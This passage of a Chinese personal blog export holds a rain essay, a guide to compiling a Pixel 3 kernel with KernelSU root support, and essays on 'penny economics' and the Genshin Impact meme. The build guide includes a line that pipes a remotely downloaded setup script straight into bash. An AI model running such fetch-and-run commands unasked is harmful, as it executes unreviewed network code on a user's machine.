/\u003e\u003cblockquote\u003e\u003cp\u003e(以此谨记,2024-7-13晨夜,梦中所想。)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e心中的雨,终究散落在了天边。\u003c/p\u003e\u003cp\u003e雨水淅沥,是打碎了树上的花儿,飘零在地面上,还是银河伴着雨水,洒落在了人间?\u003c/p\u003e\u003cp\u003e漫天的大雨,让银河敞开心扉,并不是躲在乌云重重,而是游躺在行人脚边。步步涟漪,泛起星光灿烂。\u003c/p\u003e\u003cp\u003e是天边在下雨,是雨水让天边哭泣?还是行人在哭泣,是泪水让行人踟蹰?\u003c/p\u003e\u003cp\u003e天边好像在哭泣,也好像并未哭泣。是谁?让雨水灰蒙了天际?让银河落在脚边?微风携缕缕雨水,缓缓而又绵长地裹挟着行人。是慈爱的母亲,是温柔的长姐,展开温暖的双臂,把你美美地,爱你地抱住。\u003c/p\u003e\u003cp\u003e雨水冲刷了街道,也推搡走了路上行人,行人星星点点,如同雨水,淅淅沥沥。孤独的雨水,却并不孤独,你享受着属于自己的一份温柔。\u003c/p\u003e\u003cp\u003e慢慢地雨停了,乌云散去,瓢走了地上的银河,又将它洒在天际,伴随着晨曦欲出的饱满,是一位情窦初开的少女,泛着清纯而又迷人的双眸,恍惚间,一切遥不可及。\u003c/p\u003e\u003cp\u003e雨停了,可是心中的雨时而淅淅沥沥,时而绵绵悠悠。怨天边的少女过于贪心,瓢起银河,也瓢走了心中的星汉。\u003c/p\u003e\u003cp\u003e雨停了,只留下路上的碎花与泥水凌乱在一起,也许不至于此,而是路上的你,碎花,与泥水,凌乱在一起。\u003c/p\u003e\u003cp\u003e天使的泪水停了,谁人愿意拂去碎花上沾染的泥泞?天边的星河走了,谁人愿意搂起伞具下躲藏的行人?他撑起伞具躲避着的天空,而雨水悄悄地钻进伞下,与他分享着这份独一的甜蜜。\u003c/p\u003e\u003cp\u003e什么是人生,什么是意义,他也许并未懂得。只知,天边的雨停了,心中的雨还在下着。\u003c/p\u003e\u003cp\u003e仿佛心中的雨,散落在了天边,雨声嘈杂。他深爱着陪伴他的丝丝雨水,可心中的嘈杂让他合上了伞具,甩走了粘连着的丝丝缕缕。\u003c/p\u003e\u003cp\u003e快步走吧,在自己被淋湿之前,最好不要回头。\u003c/p\u003e","url":"https://xiue233.github.io/2024/07/13/2024-7-13-essay/"},{"title":"为Pixel3 PixelExperience13Plus内核引入Kernelsu","time":"2024-03-26T09:57:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e“不喜欢折腾开源项目的程序员不是好的程序员。”————我自己说的\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"概要\"\u003e\u003ca href=\"#概要\" class=\"headerlink\" title=\"概要\"\u003e\u003c/a\u003e概要\u003c/h2\u003e\u003cp\u003e由于买\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e“不喜欢折腾开源项目的程序员不是好的程序员。”————我自己说的\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"概要\"\u003e\u003ca href=\"#概要\" class=\"headerlink\" title=\"概要\"\u003e\u003c/a\u003e概要\u003c/h2\u003e\u003cp\u003e由于买了一个Pixel3的欧版工程机,但是奈何不是GKI设备没有现成的内核拿来刷。转遍Gayhub却没有发现一个比较满意的,遂决定自己编译一个。\u003c/p\u003e\u003cp\u003e但是由于并未尝试过,同时网上的教程并不是很多,也不是很详细,导致遇到问题解决并不快,于是决定写一个博客记录一下。文章重点包含了\u003cstrong\u003e编译流程\u003c/strong\u003e与\u003cstrong\u003e常见错误解决方案\u003c/strong\u003e两大内容,为了防止内容过于耦合,本文先精简地介绍了大概的编译流程,针对常见错误的解决方案则放在其后展开。\u003c/p\u003e\u003cp\u003e感谢\u003ccode\u003ePixelExperience\u003c/code\u003e的官方组,在他们的TG群内提供了相对详细的编译教程,同时把一些常见的错误也列了出来,以及\u003ccode\u003e安全后厨\u003c/code\u003e公众号写的《为Pixel3编译支持kernelsu的内核》的文章。\u003c/p\u003e\u003cp\u003e编译过程中参阅的相关教程链接将会放在文章末尾。\u003c/p\u003e\u003ch2 id=\"编译流程\"\u003e\u003ca href=\"#编译流程\" class=\"headerlink\" title=\"编译流程\"\u003e\u003c/a\u003e编译流程\u003c/h2\u003e\u003cp\u003e由于已经锚定使用Pixel Experience,则介绍其的编译流程。其他的开源系统也大差不差,下文会针对每一步骤的用途进行介绍,行为逻辑是通用的。\u003cdel\u003e绝对不是我刚开始编译LineageOS失败了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e由于clone下来整个aosp项目后编译内核是十分轻松简单的,所以本文主要针对这个方法进行介绍。如果直接clone诸如kernel_google_bluecross的内核开源库,直接编译后是缺少驱动文件的,需要自己并入特定设备的驱动文件。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eComplete Android OS is composed of three pieces. 1) The official AOSP source code. 2) A device specific kernel. 3) Proprietary binaries for Specific device(Drivers for hardware like camera,sensors etc..).\u003cbr\u003e完整的Android操作系统由三部分组成。 1)AOSP官方源代码。 2) 设备特定的内核。 3) 特定设备的专有二进制文件(相机、传感器等硬件的驱动程序)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e本文先从编译不加入kernelsu的源码开始,得到验证后再加入kernelsu。\u003c/p\u003e\u003cp\u003e经查阅\u003ca href=\"https://wiki.pixelexperience.org/devices/blueline/build/\"\u003e官方编译WIKI\u003c/a\u003e得知以下步骤。\u003c/p\u003e\u003ch3 id=\"1-硬件配置要求\"\u003e\u003ca href=\"#1-硬件配置要求\" class=\"headerlink\" title=\"(1) 硬件配置要求\"\u003e\u003c/a\u003e(1) 硬件配置要求\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eA relatively recent 64-bit computer (Linux, preferably a recent version of ubuntu) with a reasonable amount of RAM and about 200 GB of free storage (more if you enable ccache or build for multiple devices). The less RAM you have, the longer the build will take. Aim for 16 GB RAM or more, enabling ZRAM can be helpful. Using SSDs results in considerably faster build times than traditional hard drives.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e需要64位Linux(新版的Ubuntu最好),至少需要16GB的RAM以及200GB的硬盘空间。可以通过加swap大小来缓解内存的不足。\u003c/p\u003e\u003cp\u003e经过实测,编译时会占用20GB的运行内存(主机内存为32GB),同时占用1GB左右的swap;针对thirteen-plus分支,标注–depth\u0026#x3D;1的情况下clone下来后,占用了大概120GB的硬盘空间,在完整编译后占用的磁盘空间达到了226GB。\u003c/p\u003e\u003cp\u003e如果存储空间不足的话,还是不推荐尝试了。(至少花钱买个磁盘,交个学费)\u003c/p\u003e\u003ch3 id=\"2-编译前戏\"\u003e\u003ca href=\"#2-编译前戏\" class=\"headerlink\" title=\"(2) 编译前戏\"\u003e\u003c/a\u003e(2) 编译前戏\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003eAndroid SDK platform tools是刷机不可少的,可自行下载;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e一堆需要的相关工具\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eadb autoconf automake axel bc bison build-essential \u003cbr\u003e ccache clang cmake curl expat fastboot flex g++ \u003cbr\u003e g++-multilib gawk gcc gcc-multilib git git-lfs gnupg gperf \u003cbr\u003e htop imagemagick lib32ncurses5-dev lib32z1-dev libtinfo5 libc6-dev libcap-dev \u003cbr\u003e libexpat1-dev libgmp-dev ‘^liblz4-.\u003cem\u003e‘ ‘^liblzma.\u003c/em\u003e‘ libmpc-dev libmpfr-dev libncurses5-dev \u003cbr\u003e libsdl1.2-dev libssl-dev libtool libxml2 libxml2-utils ‘^lzma.*’ lzop \u003cbr\u003e maven ncftp ncurses-dev patch patchelf pkg-config pngcrush \u003cbr\u003e pngquant python2.7 python-all-dev re2c schedtool squashfs-tools subversion \u003cbr\u003e texinfo unzip w3m xsltproc zip zlib1g-dev lzip \u003cbr\u003e libxml-simple-perl libswitch-perl apt-utils rsync \\\u003c/p\u003e\u003cp\u003e由于构建编译环境东西较多,可以直接使用大佬开源的构建脚本。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/akhilnarang/scripts/blob/master/setup/android_build_env.sh\"\u003eakhilnarang\u0026#x2F;scripts\u0026#x2F;android_build_env.sh\u003c/a\u003e\u003c/p\u003e\u003cp\u003e用法:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt install git\u003cbr\u003ecd ~/ //你的工作目录,可更改\u003cbr\u003egit clone https://github.com/akhilnarang/scripts\u003cbr\u003ecd scripts\u003cbr\u003e./setup/android_build_env.sh\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e3.需要安装repo,它是用来解决clone AOSP这种超大项目的工具。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eRepo(一种对 Git 构成补充的 Google 代码库管理工具)Repo 可以在必要时整合多个 Git 代码库,将相关内容上传到 Gerrit 修订版本控制系统,并自动执行 Android 开发工作流程的部分环节。\u003cbr\u003eRepo 启动器会提供一个 Python 脚本,该脚本可以初始化检出,并可以下载第二部分,即完整的 Repo 工具。完整的 Repo 工具包含在 Android 源代码检出中。该工具默认位于 $SRCDIR\u0026#x2F;.repo\u0026#x2F;repo\u0026#x2F;… 中,可以从下载的 Repo 启动器接收转发的命令。\u003cbr\u003eRepo 不会取代 Git,只会让您在 Android 环境中对 Git 的使用更加轻松。Repo 使用清单文件将 Git 项目汇总到 Android 超级项目中。您可以将 repo 命令(这是一个可执行的 Python 脚本)放在路径中的任何位置。使用 Android 源代码文件时,您可以使用 Repo 执行跨网络操作,例如使用一个 Repo 工作目录。\u003cbr\u003e在大多数情况下,您可以仅使用 Git(不必使用 Repo),或结合使用 Repo 和 Git 命令以组成复杂的命令。不过,使用 Repo 执行基本的跨网络操作可大大简化您的工作。如需详细了解 Repo,请参阅 Repo 命令参考资料、Repo README、可在 Repo 中启用的预上传钩子(测试)以及 AOSP 中的通用文档。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以如此安装(如果可以通过仓库安装更好):\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003emkdir -p ~/bin\u003cbr\u003ecurl https://storage.googleapis.com/git-repo-downloads/repo \u0026gt; ~/bin/repo\u003cbr\u003echmod a+x ~/bin/repo\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e当然,不要忘记在$PATH这一环境变量内加入\u003ccode\u003e~/bin\u003c/code\u003e路径。\u003c/p\u003e\u003cp\u003e4.配置git\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003egit config --global user.email \u0026quot;you@example.com\u0026quot; //你的邮箱地址\u003cbr\u003egit config --global user.name \u0026quot;Your Name\u0026quot; //你的昵称\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"编译\"\u003e\u003ca href=\"#编译\" class=\"headerlink\" title=\"编译\"\u003e\u003c/a\u003e编译\u003c/h3\u003e\u003ch4 id=\"初始化并clone源码\"\u003e\u003ca href=\"#初始化并clone源码\" class=\"headerlink\" title=\"初始化并clone源码\"\u003e\u003c/a\u003e初始化并clone源码\u003c/h4\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecd ~/android/pe //需要自己创建一个存储源码的工作目录\u003cbr\u003erepo init -u https://github.com/PixelExperience/manifest -b branch_name\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,repo init行的命令用于选定特定的分支,初始化一个配置文件,指导后续需要clone哪些库。\u003c/p\u003e\u003cp\u003e在完成初始化后,可以执行repo sync来同步源码,此时才会真正地开始clone。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003erepo sync -c -j$(nproc --all) --force-sync --no-clone-bundle --no-tags\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接下来是漫长的clone过程,国内的用户需要确保外网可用。有需要的话,可以自行去搜索如何配置代理。\u003c/p\u003e\u003ch4 id=\"配置ccache(可选)\"\u003e\u003ca href=\"#配置ccache(可选)\" class=\"headerlink\" title=\"配置ccache(可选)\"\u003e\u003c/a\u003e配置ccache(可选)\u003c/h4\u003e\u003cp\u003eccache用于加速构建,但是会占用一定的存储空间。有需要的话可以自行搜索相关教程。\u003c/p\u003e\u003ch4 id=\"拉取特定设备的相关文件及配置(重要)\"\u003e\u003ca href=\"#拉取特定设备的相关文件及配置(重要)\" class=\"headerlink\" title=\"拉取特定设备的相关文件及配置(重要)\"\u003e\u003c/a\u003e拉取特定设备的相关文件及配置(重要)\u003c/h4\u003e\u003cp\u003e首先,进行编译环境配置的初始化:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esource build/envsetup.sh\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e该脚本会自动配置需要的一些环境信息。\u003c/p\u003e\u003cp\u003e然后,需要进行设备必须依赖项的下载,如果选择不正确,或者不进行此操作会导致无法编译或者编译后无法boot。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003elunch aosp_blueline-userdebug\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我们可以注意到\u003ccode\u003eaosp_blueline-userdebug\u003c/code\u003e,其实它的格式是\u003ccode\u003eaosp_设备别名-构建类型\u003c/code\u003e,设备别名需要自行查找官方的资料,构建类型可以选择\u003ccode\u003eeng\u003c/code\u003e(工程机,具有额外调试工具的开发配置)、\u003ccode\u003euserdebug\u003c/code\u003e(用户调试,与“user”类似,但具有 root 权限和调试功能;是进行调试时的首选编译类型)、\u003ccode\u003euser\u003c/code\u003e(权限受限;适用于生产环境)。\u003c/p\u003e\u003cp\u003e之后将进行相关内容的下载,如果第一行出现了找不到文件的报错,不必理会,命令将会自行下载缺失的文件。\u003c/p\u003e\u003ch4 id=\"开始编译\"\u003e\u003ca href=\"#开始编译\" class=\"headerlink\" title=\"开始编译\"\u003e\u003c/a\u003e开始编译\u003c/h4\u003e\u003cp\u003e如果前面的配置还有初始化过程没有问题的话,可以进行一键编译(需要注意的是该命令不止会编译出bootimg,是编译出android系统的全套内容,仅编译bootimg的话则把bacon改为bootimage即可):\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecroot //返回源码树的顶部\u003cbr\u003emka bacon -j$(nproc --all)\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(GPT生成的解释)\u003cbr\u003emka bacon -j$(nproc –all) 是一个在编译 Android ROM 时常用的命令。这个命令可以分解为以下几个部分:\u003c/p\u003e\u003cp\u003emka:这是一个封装了 make 命令的脚本,它设置了一些环境变量以便于 Android 的编译。\u003cbr\u003ebacon:这是一个目标,它告诉 make 命令需要编译的是完整的 Android ROM。在某些情况下,“bacon” 可能会被替换为其他的目标,例如特定设备的名称。\u003cbr\u003e-j$(nproc –all):这是传递给 make 命令的一个参数。-j 参数告诉 make 命令可以并行编译的任务数。$(nproc –all) 是一个 shell 命令,它返回当前系统的处理器核心数。因此,-j$(nproc –all) 的意思是让 make 命令并行编译,同时编译的任务数等于处理器的核心数。\u003cbr\u003e总的来说,mka bacon -j$(nproc –all) 的意思是使用所有可用的处理器核心并行编译完整的 Android ROM。\u003c/p\u003e\u003cp\u003e接下来则是漫长的编译时间。\u003c/p\u003e\u003ch4 id=\"产物提取\"\u003e\u003ca href=\"#产物提取\" class=\"headerlink\" title=\"产物提取\"\u003e\u003c/a\u003e产物提取\u003c/h4\u003e\u003cp\u003e产物在源码工作目录的out文件夹内,自行寻找即可。\u003c/p\u003e\u003ch4 id=\"加入kernelsu\"\u003e\u003ca href=\"#加入kernelsu\" class=\"headerlink\" title=\"加入kernelsu\"\u003e\u003c/a\u003e加入kernelsu\u003c/h4\u003e\u003cp\u003e以上内容中,我们已经完成了官方源码的初始化与编译,接下来进行kernelsu的加入。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eKernelSU 可以被集成到非 GKI 内核中,现在它最低支持到内核 4.14 版本;理论上也可以支持更低的版本。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e由于本文使用的内核版本是4.9.337,我们可以直接使用kernelsu提供的自动集成脚本。\u003c/p\u003e\u003cp\u003e在上文中clone的pe工作目录下,cd到kernel目录,然后运行:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecurl -LSs \u0026quot;https://raw.githubusercontent.com/tiann/KernelSU/main/kernel/setup.sh\u0026quot; | bash -\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ekernelsu便可自动集成在内核中,当然不要忘记在kernel\u0026#x2F;arch\u0026#x2F;configs\u0026#x2F;b1c1_defconfig中添加下述配置:\u003c/p\u003e\u003cfigure class=\"highlight makefile\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs Makefile\"\u003eCONFIG_KPROBES=y\u003cbr\u003eCONFIG_HAVE_KPROBES=y\u003cbr\u003eCONFIG_KPROBE_EVENTS=y\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再次按照上文提到的编译方式编译即可。\u003c/p\u003e\u003ch2 id=\"刷入\"\u003e\u003ca href=\"#刷入\" class=\"headerlink\" title=\"刷入\"\u003e\u003c/a\u003e刷入\u003c/h2\u003e\u003cp\u003e刷入则无需多言,直接进入fastboot,然后一顿\u003ccode\u003efastboot flash boot boot.img\u003c/code\u003e即可。注意刷入的slot是否为当前active的。\u003c/p\u003e\u003ch2 id=\"相关问题解决方案\"\u003e\u003ca href=\"#相关问题解决方案\" class=\"headerlink\" title=\"相关问题解决方案\"\u003e\u003c/a\u003e相关问题解决方案\u003c/h2\u003e\u003cp\u003e如果是使用完整AOSP构建的,只要是流程正确,一般来说是不会出错的。如果仅clone下来kernel则会遇到一些问题,这些问题下面进行解析。\u003c/p\u003e\u003cp\u003eTODO 有空再写。\u003c/p\u003e","url":"https://xiue233.github.io/2024/03/26/pixel3-kernelsu-build/"},{"title":"一分钱经济学(胡言乱语)","time":"2024-03-01T15:30:00Z","content":"\u003ch2 id=\"什么是一分钱经济学?\"\u003e\u003ca href=\"#什么是一分钱经济学?\" class=\"headerlink\" title=\"什么是一分钱经济学?\"\u003e\u003c/a\u003e什么是一分钱经济学?\u003c/h2\u003e\u003cblockquote\u003e\n\u003cp\u003e当然所谓的\u003ccode\u003e一分钱经济学\u003c/code\u003e完\u003chr /\u003e\u003ch2 id=\"什么是一分钱经济学?\"\u003e\u003ca href=\"#什么是一分钱经济学?\" class=\"headerlink\" title=\"什么是一分钱经济学?\"\u003e\u003c/a\u003e什么是一分钱经济学?\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e当然所谓的\u003ccode\u003e一分钱经济学\u003c/code\u003e完全是我自己取的名字,哈哈。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e你是否这么幻想过:如果全世界或者全中国\u003cstrong\u003e每个人\u003c/strong\u003e都给你\u003cstrong\u003e1分钱\u003c/strong\u003e,那么你将获得\u003cstrong\u003e千万巨款\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e又想着,如果每个人都给你1分钱,然后每个人都有享受被给予1分钱的权利,那么又变成了每个人得到巨额财富后又花出了。\u003c/p\u003e\u003cp\u003e对于第一个“成功”的幻想在当今社会中的应用,我称之为一分钱经济学,即:让很多人愿意为你做出少量的经济消费后量变引起质变。\u003c/p\u003e\u003ch2 id=\"为什么会有这种想法?\"\u003e\u003ca href=\"#为什么会有这种想法?\" class=\"headerlink\" title=\"为什么会有这种想法?\"\u003e\u003c/a\u003e为什么会有这种想法?\u003c/h2\u003e\u003cp\u003e你是否思考过?为什么之前会有这种“幼稚”的想法?我们不妨分析下内部的心理与经济原理。\u003c/p\u003e\u003cp\u003e首先,这个想法的最终目标是取得大收益,当最终收获巨大时,才会被称为野心;\u003c/p\u003e\u003cp\u003e其次,对于每一个用户来说进行这个消费行为的后果\u0026#x2F;付出是极小的,一次一分钱的支持对于极大多数人来说都是可以忽略不计的,这是支撑该想法的关键步骤。\u003c/p\u003e\u003cp\u003e综上,我们萌生这一个想法的基础逻辑是:让大部分人在我们的身上产生极小的消费,最终使我们得到巨量的回报。\u003c/p\u003e\u003cp\u003e因为是极小的消费,所以大部分人不会太在意这一消费行为;\u003cbr\u003e因为是极大的回报,所以我们在这一个想法上想入非非。\u003c/p\u003e\u003ch2 id=\"这一想法能否被实现?\"\u003e\u003ca href=\"#这一想法能否被实现?\" class=\"headerlink\" title=\"这一想法能否被实现?\"\u003e\u003c/a\u003e这一想法能否被实现?\u003c/h2\u003e\u003cp\u003e先说结论:是,这一想法已经有对应的实现。\u003c/p\u003e\u003cp\u003e思考一下,实现这一想法的关键是什么?显然是如何让大量用户产生这一消费行为。\u003c/p\u003e\u003cp\u003e凭什么人家愿意给你消费这一分钱?凭什么有这么多人愿意给你消费这一分钱?\u003c/p\u003e\u003cp\u003e显然,实现的关键就是解决回报的问题,而且是对大量用户产生充足的回报。\u003c/p\u003e\u003cp\u003e如果回报是物质的、传统的,那么就好比是反过来,好的情况下就如同第一部分所说的得到巨额财富后再“花”出去。根本原因是,回报是物质的、价值是有所属人的,会量变引起质变的。此时,就是一个正无穷大加上负的无穷小。\u003c/p\u003e\u003cp\u003e进而,可以发现,如果回报是非物质的,或者说只要是价值可以共有的,即可以满足。其可以被认为是:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e该回报的总价值趋于无穷大,可以被分配到无穷大的消费人群中,如:回报为某一知识或者情绪价值;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e该回报的价值非无穷大,但是生产这一回报的耗费区域无穷小,即可以向无穷大的消费人群生产无穷大的回报量,如:回报为某一虚拟物品(游戏充值电卷等)。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e显而易见,当下流行的短视频正是这一思路,其中用户的消费行为再次被抽象化、另类化:与其认为是广告投放商向视频平台支付了广告费用,不如说是用户购买了这一次的观看体验。即,流量的变现属于此一分钱理论的范畴,仍然是通过可创造的无穷大价值回报来得到每一个用户的1分钱。\u003c/p\u003e\u003cp\u003e如果收入水平低的人群,占据了大部分席位,我认为在市场经济下,消费与盈利的方式将由一分钱模型所支配。一个个经济的流动的背后,可能依仗着万万千千的一分钱消费。\u003c/p\u003e\u003cp\u003e胡言乱语结束。\u003c/p\u003e","url":"https://xiue233.github.io/2024/03/01/a-penny-economics/"},{"title":"随笔——中国当今社会下的原神社会现象","time":"2023-10-19T09:17:38Z","content":"\u003cblockquote\u003e\n\u003cp\u003e“不是因为‘他’玩原神,只是因为他‘玩原神’。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cdel\u003e原来,你也玩原神!\u003c/del\u003e\u003c/p\u003e\n\u003cp\u003e作为一款“潮流游戏”,原神可谓是人尽皆知,在简中网络的抽象环境下,为什么原神脱颖而出,OP成为某一抽\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e“不是因为‘他’玩原神,只是因为他‘玩原神’。”\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cdel\u003e原来,你也玩原神!\u003c/del\u003e\u003c/p\u003e\u003cp\u003e作为一款“潮流游戏”,原神可谓是人尽皆知,在简中网络的抽象环境下,为什么原神脱颖而出,OP成为某一抽象形象的代言词?\u003c/p\u003e\u003ch2 id=\"它是什么?\"\u003e\u003ca href=\"#它是什么?\" class=\"headerlink\" title=\"它是什么?\"\u003e\u003c/a\u003e它是什么?\u003c/h2\u003e\u003cp\u003e你说得对,但是原神(Genshin Impact)是米哈游….(省略一万字)\u003c/p\u003e\u003ch2 id=\"OP从哪里来?\"\u003e\u003ca href=\"#OP从哪里来?\" class=\"headerlink\" title=\"OP从哪里来?\"\u003e\u003c/a\u003eOP从哪里来?\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e妈妈生的\u003c/del\u003e\u003c/p\u003e\u003cp\u003e简中抽象的环境下,主要起因于过于逆天的原神用户,让其他人感觉到不适。\u003c/p\u003e\u003cp\u003e之后,用于群体攻击,造成AOE伤害。\u003c/p\u003e\u003cp\u003e在情绪挤压下,简中互联网环境存在很多情绪释放地,简称“厕所”,人有三急,该拉憋不住。\u003c/p\u003e\u003cp\u003e目前,OP也是特殊的街头厕所,可以不动脑子、不具有负罪感地进行排泄,从而缓解三急。\u003c/p\u003e\u003ch2 id=\"OP一词向什么地方发展?\"\u003e\u003ca href=\"#OP一词向什么地方发展?\" class=\"headerlink\" title=\"OP一词向什么地方发展?\"\u003e\u003c/a\u003eOP一词向什么地方发展?\u003c/h2\u003e\u003cp\u003e由前两条可以看出,OP形成历程是:\u003c/p\u003e\u003cp\u003e一部分惹人厌的人 –\u0026gt; 舆论发酵 –\u0026gt; 上升至某一个群体 –\u0026gt; 再次发酵,逐渐腌入味 –\u0026gt; 刻板印象+MAX –\u0026gt; 